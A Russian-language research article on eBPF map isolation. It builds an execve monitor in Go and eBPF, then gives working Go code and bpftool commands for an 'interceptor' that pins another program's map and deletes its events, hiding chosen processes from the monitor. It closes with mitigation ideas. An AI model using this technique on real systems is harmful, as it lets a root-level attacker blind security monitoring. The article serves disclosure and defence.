Дисклеймер 1
Данная статья носит исключительно исследовательский характер. Моя цель — рассказать сообществу об архитектурных особенностях подсистемы eBPF в Linux.
Ведь для того чтобы эффективно защищать системы, необходимо знать об ограничениях используемых технологий.
Дисклеймер 2
Для чтения статьи надо уже быть знакомым с Linux и eBPF. Но если все еще интересно, то оставлю тут ссылку на то, как устроена эта технология.
Что происходит?
В последнее все чаще решения ИБ продуктов для мониторинга Linux систем переходят с kernel modules на eBPF.
Оно и понятно.
Поддержка модулей ядра для Linux — занятие крайне тяжелое. Коммьюнити не поддерживает API неизменным, количество дистрибутивов на рынке только увеличивается, и все пытаются привнести что-то свое в систему. А в итоге мы видим, как меняются системные вызовы, как структуры меняют свои размеры и смещения не только в зависимости от дистрибутива, но и в зависимости от версии ядра.
Linux давно стал популярным для серверных корпоративных решений. Сегмент российских операционных систем строится на ядре Linux. Популярность растет, а с ней и потребность в ИТ и ИБ продуктах.
И тут на каждом углу начинают кричать о eBPF, как о способе, решающем все проблемы с совместимость, безопасностью и тд.
Маркетинг кричит
eBPF — это:
-
безопасность для ядра из-за верификатора и изолированности технологии;
-
легкая поддержка, относительно kernel modules;
-
удобные библиотеки на C++, Go, Python, Rust для совместного использования;
-
кроссдистрибутивность за счет CO-RE (кстати, с нюансами: зависимость от BTF-информации ядра, проблемы со старыми ядрами <5.2, об этом однажды выйдет полноценная статья).
А я дополню
eBPF — это также:
-
видимость активности ядра из пользовательского пространства — даже без глубоких знаний об архитектуре eBPF и Linux;
-
низкий порог входа для реализации базовых сценариев компроментации;
-
отсутствие изоляции данных между привилегированными процессами.
Звучит уже не так сказочно, правда?
Для того, чтобы продемонстрировать простой пример уязвимости напишем 2 программы: монитор старта процессов (eBPF + Go) и программу перехватчик (только Go).
При желании можно повторить тоже самое на С++/Python/Rust. Вкусовщина.
Go выбран из-за удобной библиотеки и скорости разработки, так как пример демонстративный.
Напишем программу мониторинга
Я не буду писать о том, как связать Go и eBPF иначе статья разрастется. Но оставлю ссылку на туториал тут и в конце статьи.
Программа будет состоять из двух частей:
-
eBPF-модуль, посылающий данные о каждом системном вызове
execve; -
программа в пространстве пользователя на Go, отвечающая за загрузку байт-кода eBPF-модуля в ядро и за получение данных.
eBPF-модуль
Напишем eBPF-модуль, подключающийся к tracepoint для мониторинга системного вызова execve.
Не забываем про //go:build ignore в начале файла execve_monitoring.c для того, чтобы сборщик Go не пытался собрать C код.
//go:build ignore#include <linux/bpf.h>#include <bpf/bpf_helpers.h>#define MAX_PATH 256#define TASK_COMM_LEN 16// Структура, которую мы будем передавать в пользовательское пространствоstruct start_ps_event { __u32 pid; char cmd[TASK_COMM_LEN]; char filename[MAX_PATH];} __attribute__((packed));// Наша мапа, через которую мы будем все передаватьstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 1024); __type(key, __u32); __type(value, struct start_ps_event); } ps_info SEC(".maps");// определение системной структуры данных// приходит вместе с уведомлением о старте процессаstruct syscalls_enter_execve_args { unsigned short common_type; unsigned char common_flags; unsigned char common_preempt_count; int common_pid; int __syscall_nr; const char *filename; const char *const *argv; const char *const *envp;};// Основная функция мониторингаSEC("tracepoint/syscalls/sys_enter_execve") int GetStartedPid(struct syscalls_enter_execve_args* ctx) { struct start_ps_event event = {}; // Получаем PID и имя команды event.pid = bpf_get_current_pid_tgid() >> 32; bpf_get_current_comm(event.cmd, sizeof(event.cmd)); // Читаем путь к исполняемому файлу bpf_probe_read_user_str(event.filename, sizeof(event.filename), ctx->filename); // Используем PID в качестве ключа мапы, чтобы события не перезаписывали друг друга __u32 key = event.pid; bpf_printk("BPF PRINT: process %s started\n", event.cmd); // Записываем структуру в мапу long res = bpf_map_update_elem(&ps_info, &key, &event, BPF_ANY); return 0;}char _license[] SEC("license") = "GPL";
Go-часть
Наш main.goделает минимум: загружает байт-код программы execve_monitoring.c в ядро. Ожидает, получает, считывает данные из мапы и выводит их с временными метками в терминал.
package mainimport ("bytes""fmt""log""os""os/signal""syscall""time""github.com/cilium/ebpf/link""github.com/cilium/ebpf/rlimit")// Структура должна быть аналогичной нашей start_ps_event из execve_monitoring.c// Должны совпадать и порядок, и типы, и размерыtype StartPSEvent struct {Pid uint32Cmd [16]byteFilename [256]byte}func GetStrFromBytes(b []byte) string {if idx := bytes.IndexByte(b, 0); idx != -1 {return string(b[:idx])}return string(b)}func main() {if err := rlimit.RemoveMemlock(); err != nil {log.Fatalf("Failed to remove memlock: %v", err)}// Загружаем eBPF объекты напрямую в ядроobjs := ps_start_hashObjects{}if err := loadPs_start_hashObjects(&objs, nil); err != nil {log.Fatalf("Failed to load eBPF objects: %v", err)}defer objs.Close()// Подключаемся к tracepointtp, err := link.Tracepoint("syscalls", "sys_enter_execve", objs.GetStartedPid, nil)if err != nil {log.Fatalf("Failed to attach tracepoint: %v", err)}defer tp.Close()fmt.Println("eBPF program running and polling Hash Map...")sigChan := make(chan os.Signal, 1)signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)stopChan := make(chan struct{})// Запускаем периодическое чтение из нашей мапыgo func() {for {select {case <-stopChan:returndefault:var (key uint32nextKey uint32)var keysToProcess []uint32// Собираем все текущие ключи из мапыerr := objs.PsInfo.NextKey(nil, &nextKey)for err == nil {key = nextKeykeysToProcess = append(keysToProcess, key)err = objs.PsInfo.NextKey(key, &nextKey)}// Если карта пуста, ждем 10мс и проверяем сноваif len(keysToProcess) == 0 {time.Sleep(10 * time.Millisecond)continue} // пусть тут происходит какая-то работаtime.Sleep(1 * time.Millisecond)// Перебираем собранные ключи, читаем данные и сразу удаляемvar e StartPSEventfor _, k := range keysToProcess { if lookupErr := objs.PsInfo.Lookup(k, &e); lookupErr == nil {log.Printf("Execve: PID=%d, Process=%s, File=%s\n",e.Pid,GetStrFromBytes(e.Cmd[:]),GetStrFromBytes(e.Filename[:]),)// Удаляем элемент, чтобы освободить место для новых событий ядраif delErr := objs.PsInfo.Delete(k); delErr != nil {log.Printf("Warning: failed to delete key %d: %v", k, delErr)}}}// Короткая пауза между итерациямиtime.Sleep(5 * time.Millisecond)}}}()<-sigChanclose(stopChan)fmt.Println("Shutting down...")}
Запустим нашу программу и увидим в терминале вывод данных обо всех вызовах execve в системе, с именами файлов, pid и именем процесса.
just_me@just_me:~/go_ebpf_ps_start$ go build && sudo ./hash[sudo] password for just_me: eBPF program running and polling Hash Map...Execve: PID=256619, Process=code, File=/bin/shExecve: PID=256621, Process=code, File=/bin/shExecve: PID=256622, Process=sh, File=/usr/bin/psExecve: PID=256620, Process=sh, File=/usr/bin/whichExecve: PID=256627, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256623, Process=code, File=/bin/shExecve: PID=256624, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.shExecve: PID=256629, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256625, Process=cpuUsage.sh, File=/usr/bin/sedExecve: PID=256626, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256628, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256630, Process=cpuUsage.sh, File=/usr/bin/sleepExecve: PID=256632, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256631, Process=cpuUsage.sh, File=/usr/bin/sedExecve: PID=256638, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256634, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256636, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256641, Process=code, File=/bin/shExecve: PID=256642, Process=sh, File=/usr/bin/whichExecve: PID=256643, Process=code, File=/bin/shExecve: PID=256644, Process=sh, File=/usr/bin/psExecve: PID=256649, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256646, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.shExecve: PID=256645, Process=code, File=/bin/shExecve: PID=256650, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256652, Process=cpuUsage.sh, File=/usr/bin/sleepExecve: PID=256647, Process=cpuUsage.sh, File=/usr/bin/sedExecve: PID=256651, Process=cpuUsage.sh, File=/usr/bin/catExecve: PID=256648, Process=cpuUsage.sh, File=/usr/bin/cat...
Супер, мониторинг работает. Значит можно переходить к интересному.
Как получить все, что нужно для чтения нашей eBPF map из стороннего приложения?
Если вы никогда не работали с eBPF сначала устанавливаем необходимый инструментарий
sudo apt updatesudo apt install linux-tools-common linux-tools-generic linux-tools-$(uname -r)sudo apt install bpftool
Примечание
Для предыдущего пункта он тоже нужен, но моя задача показать, насколько просто воспользоваться данной уязвимостью с нуля
Выполняем следующую команду
sudo bpftool map list
Видим результат — список всех открытых eBPF-map в системе и некоторая информация о них.
just_me@just_me:/~$ sudo bpftool map list1: hash flags 0x0key 9B value 1B max_entries 500 memlock 46432B2: hash flags 0x0key 9B value 1B max_entries 500 memlock 46432B4: hash flags 0x0key 9B value 1B max_entries 500 memlock 46432B5: hash name s_libreoffice_h flags 0x0key 9B value 1B max_entries 1000 memlock 90624B133: hash name s_firmware_upda flags 0x0key 9B value 1B max_entries 1000 memlock 90624B138: hash name s_mesa_2404_hoo flags 0x0key 9B value 1B max_entries 1000 memlock 90624B139: hash name s_chromium_hook flags 0x0key 9B value 1B max_entries 1000 memlock 90624B178: array name .rodata flags 0x480key 4B value 31B max_entries 1 memlock 8192Bbtf_id 437 frozen179: hash name ps_info flags 0x0key 4B value 276B max_entries 1024 memlock 365856Bbtf_id 438
Теперь разберемся, какую именно информацию о нашей мапе можно забрать из этого вывода.
Для этого взглянем еще раз на описание нашей структуры из файла execve_monitor.c
struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 1024); __type(key, __u32); __type(value, struct start_ps_event); } ps_info SEC(".maps");
А теперь приглядитесь к строке 19 результатов команды sudo bpftool map list
|
Что видим в терминале? |
Что это на самом деле? |
|
|
точное имя нашей структуры общения с пространством пользователя |
|
|
используемый нами тип мапы, от которого напрямую зависит способ получения и разбора приходящих данных (в |
|
|
идентификатор нашей мапы, знание которого нам и позволит в дальнейшем к ней подключиться. |
Кажется, чего-то не хватает…
О нет! Как читать бинарные данные, когда нет вида приходящей структуры?
К сожалению, не так сложно. Тут стоит напомнить про реверс-инжиниринг.
Восстановление структуры зависит от флагов сборки, наличия отладочной информации и языка реализации. Но в нашей демонстрационном бинарнике на Go без stripping статический анализ (Ghidra/IDA) быстро выдаёт смещения и имена полей.
В production-сборках задача усложняется: оптимизации, кастомная сериализация или отсутствие символов потребуют динамического анализа и ручной реконструкции. Тем не менее, барьер входа остаётся существенно ниже, чем при реверсе kernel modules.
У нас все есть, теперь пишем перехватчик
Для того, чтобы получить доступ к чужой eBPF мапе нужно закрепить ее в пространстве пользователя
Это делается простой командой
sudo bpftool map pin id 179 /sys/fs/bpf/my_shared_map
Пользуемся id, который мы получили в прошлом разделе.
Место и название закрепления мапы не принципиально, просто надо запомнить путь, в программе перехватчике он нам пригодится.
Посмотрите еще раз на вывод мониторинга, до подключения перехватчика. Заметно достаточно много вызовов с именем процесса cpuUsage.sh
Наш перехватчик миролюбивый, поэтому настроим его на фильтрацию спама от cpuUsage.sh
Перейдем к коду перехватчика. Тут только Go часть, eBPF нам не нужен.
package mainimport ("bytes""log""time""github.com/cilium/ebpf")// Восстановили структуру из Ghidra и пользуемся ейtype StartPSEvent struct {Pid uint32Cmd [16]byteFilename [256]byte}func GetStrFromBytes(b []byte) string {if idx := bytes.IndexByte(b, 0); idx != -1 {return string(b[:idx])}return string(b)}func main() { mapPath := "/sys/fs/bpf/my_shared_map"m, err := ebpf.LoadPinnedMap(mapPath, nil)if err != nil {log.Fatalf("Не удалось открыть карту: %v", err)}defer m.Close()log.Println("Успешно подключились к мапею Начинаем чтение...")for {var (key uint32nextKey uint32)var keysToProcess []uint32err := m.NextKey(nil, &nextKey)for err == nil {key = nextKeykeysToProcess = append(keysToProcess, key)err = m.NextKey(key, &nextKey)}if len(keysToProcess) == 0 {time.Sleep(10 * time.Millisecond)continue}// Перебираем собранные ключи, читаем данные и удаляем элементыvar value StartPSEventfor _, k := range keysToProcess {if lookupErr := m.Lookup(k, &value); lookupErr == nil {filename := GetStrFromBytes(value.Filename[:])cmd := GetStrFromBytes(value.Cmd[:]) // Фильтруем процессы по имени if cmd != "cpuUsage.sh" {continue} log.Printf("ID ключа: %d | PID процесса: %d, Имя файла: %s, cmd: %s", k, value.Pid, filename, cmd) // Теперь удаляем из мапы запись о процессе с именем cpuUsage.shif delErr := m.Delete(k); delErr != nil {log.Printf("Предупреждение: не удалось удалить ключ %d (возможно, процесс уже удален): %v", k, delErr)}}}// Небольшая пауза после обработки пачки, чтобы дать ядру заполнить мапуtime.Sleep(5 * time.Millisecond)}}
Запустили мониторинг, подключили перехватчик. Теперь посмотрим на их вывод:
Вывод перехватчика
2026/05/30 17:58:07 Успешно подключились к мапе. Начинаем чтение...2026/05/30 17:58:07 ID ключа: 258667 | PID процесса: 258667, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:07 ID ключа: 258666 | PID процесса: 258666, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258675 | PID процесса: 258675, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258676 | PID процесса: 258676, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258677 | PID процесса: 258677, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258678 | PID процесса: 258678, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258679 | PID процесса: 258679, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:08 ID ключа: 258680 | PID процесса: 258680, Имя файла: /usr/bin/sleep, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258681 | PID процесса: 258681, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258682 | PID процесса: 258682, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258684 | PID процесса: 258684, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258686 | PID процесса: 258686, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258688 | PID процесса: 258688, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh2026/05/30 17:58:09 ID ключа: 258696 | PID процесса: 258696, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
Судя по логам, перехватчик был подключен к мапе 2026/05/30 17:58:07.
Напоминаю, что заранее он был настроен на фильтрацию процессов с именем cpuUsage.sh
Вывод программы мониторинга execve
Теперь посмотрим как менялся вывод нашего мониторинга в процессе его работы при включении перехватчика:
2026/05/30 17:58:05 Execve: PID=258632, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258627, Process=code, File=/bin/sh2026/05/30 17:58:05 Execve: PID=258629, Process=cpuUsage.sh, File=/usr/bin/sed2026/05/30 17:58:05 Execve: PID=258630, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258633, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258634, Process=cpuUsage.sh, File=/usr/bin/sleep2026/05/30 17:58:05 Execve: PID=258631, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:05 Execve: PID=258628, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh2026/05/30 17:58:06 Execve: PID=258638, Process=cpuUsage.sh, File=/usr/bin/sed2026/05/30 17:58:06 Execve: PID=258639, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258643, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258645, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258641, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258648, Process=code, File=/bin/sh2026/05/30 17:58:06 Execve: PID=258649, Process=sh, File=/usr/bin/which2026/05/30 17:58:06 Execve: PID=258651, Process=sh, File=/usr/bin/ps2026/05/30 17:58:06 Execve: PID=258650, Process=code, File=/bin/sh2026/05/30 17:58:06 Execve: PID=258655, Process=cpuUsage.sh, File=/usr/bin/sed2026/05/30 17:58:06 Execve: PID=258654, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh2026/05/30 17:58:06 Execve: PID=258653, Process=code, File=/bin/sh2026/05/30 17:58:06 Execve: PID=258656, Process=cpuUsage.sh, File=/usr/bin/cat2026/05/30 17:58:06 Execve: PID=258657, Process=cpuUsage.sh, File=/usr/bin/sleep2026/05/30 17:58:07 Execve: PID=258659, Process=bash, File=/usr/bin/sudo2026/05/30 17:58:07 Execve: PID=258661, Process=sudo, File=./block2026/05/30 17:58:08 Execve: PID=258669, Process=code, File=/bin/sh2026/05/30 17:58:08 Execve: PID=258670, Process=sh, File=/usr/bin/which2026/05/30 17:58:08 Execve: PID=258672, Process=sh, File=/usr/bin/ps2026/05/30 17:58:08 Execve: PID=258671, Process=code, File=/bin/sh2026/05/30 17:58:08 Execve: PID=258674, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh2026/05/30 17:58:08 Execve: PID=258673, Process=code, File=/bin/sh2026/05/30 17:58:09 Execve: PID=258690, Process=code, File=/bin/sh2026/05/30 17:58:09 Execve: PID=258691, Process=sh, File=/usr/bin/which2026/05/30 17:58:09 Execve: PID=258693, Process=sh, File=/usr/bin/ps2026/05/30 17:58:09 Execve: PID=258692, Process=code, File=/bin/sh
2026/05/30 17:58:05 - 2026/05/30 17:58:06 — первая и последняя запись о системном вызове execve для cpuUsage.sh
2026/05/30 17:58:07 — с этого момента события о cpuUsage.sh есть в системе, eBPF программа их фиксирует, но видим мы их только в программе перехватчике.
Монитор эти события больше не получает.
Ура, мы получили возможность перехватывать события мониторинга, используя только базовый реверс инжениринг, Go и пару команд терминала.
В коде пользовательской части мониторинга можно увидеть присутствие задержки в 1 миллисекунду перед чтением из мапы.
// пусть тут происходит какая-то работаtime.Sleep(1 * time.Millisecond)
Это сделано намеренно для того, чтобы показать возможность фильтрации и не демонстрировать в логах гонку перехватчика и мониторинга.
Эта ситуация — классический пример race condition на уровне потребления событий безопасности. Кто первый успел прочитать и удалить запись из мапы, тот и получил данные.
Если задержку в примере убрать, то и тот и другой будут получать события, но перехватчик и монитор иногда будут бороться за удаление событий из общей мапы, что отразится в логах, как ошибка удаления несуществующего элемента.
Демонстрация собрана на: Linux 6.11.0-26-generic, Go go1.23.4 linux/amd64, libbpf/cilium-ebpf последней стабильной версии.
На старых ядрах (<5.8) поведение может отличаться.
Что мы наблюдаем?
На самом деле, весь этот пример — прямое следствие отсутствия разграничения прав доступа между процессами при работе с eBPF-мапами. В модели Linux, где root един, любой привилегированный процесс получает доступ ко всем ресурсам ядра, включая каналы передачи данных мониторинга.
Как бороться с уязвимостью map?
Скажу сразу, в production-средах не все так плохо, как показано в статье
Тут приведен упрощенный пример работы с eBPF. Условия для использования против пользователя этой уязвимости в продуктах будут сложнее.
Но проблема всё-таки есть и она явно не исследована до конца.
Поэтому вопрос защиты дискуссионный и, зачастую, будет сводиться к компромиссам. Готовых решений и статей по этому вопросу я пока не нашла (если они есть, прошу оставить ссылки в комментариях). Поэтому в этом разделе поделюсь своим видением вариантов решения проблемы.
Нулевой вариант или необходимая практика
В статье пример мапы типа hash, у нее свой механизм. Работа с array, ring buffer и тд, будет отличаться, где‑то не будет доступно такое простое удаление, где‑то не будет дубляжа событий для разных процессов.
От типа мапы многое зависит, и его стоит выбирать под нужды проекта. Вот документация по мапам.
Также в статье не рассматривался вопрос с правами доступа. В eBPF есть механизмы защиты для map ‑, например, флаг доступа BPF_F_RDONLY_PROG. Но он может лишь немного усложнить жизнь злоумышленнику. Для перехвата необходимо будет писать и eBPF программу.
Также есть sysctl параметр, который отвечает за возможность загрузки eBPF кода в зависимости от его уровня привилегий. Чтобы узнать его значение в терминале введите следующее:
sysctl kernel.unprivileged_bpf_disabled
-
Если = 1 — обычный пользователь не сможет загрузить eBPF программу;
-
Если = 0 — (дефолт во многих дистрибутивах) — не root тоже может пользоваться механизмом;
-
Если = 2 — тоже, что и 1, но запрещает изменение самого параметра не-привилегированным пользователям.
Если ваше решение не устанавливает явные флаги доступа (BPF_F_RDONLY_PROG) и не контролирует pinning, оно по умолчанию доверяет любому процессу с правами root в системе.
Первый вариант
Не использовать eBPF в продуктовых средах. Но это плохой вариант.
Хоть eBPF и BPF были созданы для локального мониторинга, несмотря на явные недостатки для продуктового использования, есть и явные преимущества. Они касаются более простой поддержки, стабильного API, BTF, позволяющего избегать использование структур ядра нативно. А аналогов пока нет.
Второй вариант
Этот вариант на практике не проверялся. Дальше лишь мои предположения.
Можно комбинировать kernel modules/LSM с eBPF для защиты мапы.
Основной код мониторинга будет оставаться более переносимым. В поддержке под ядра будет нуждаться (относительно) малая часть, ответственная за защиту подключения к мапе.
Небольшое заключение
На самом деле eBPF представляет большой интерес, как практический, так и исследовательский.
Интересно, как дальше будет развиваться этот механизм, с учетом того, как сейчас его активно используют в production-средах, что eBPF давно перестал быть только продвинутым инструментом SRE/DevOps/Администраторов и тд, возможно его ждут архитектурные изменения.
А нам остается только наблюдать и подстраиваться.
Статья основана на личном исследовании. Критика и дополнения в комментариях приветствуются
Полезные ссылки
ссылка на оригинал статьи https://habr.com/ru/articles/1041618/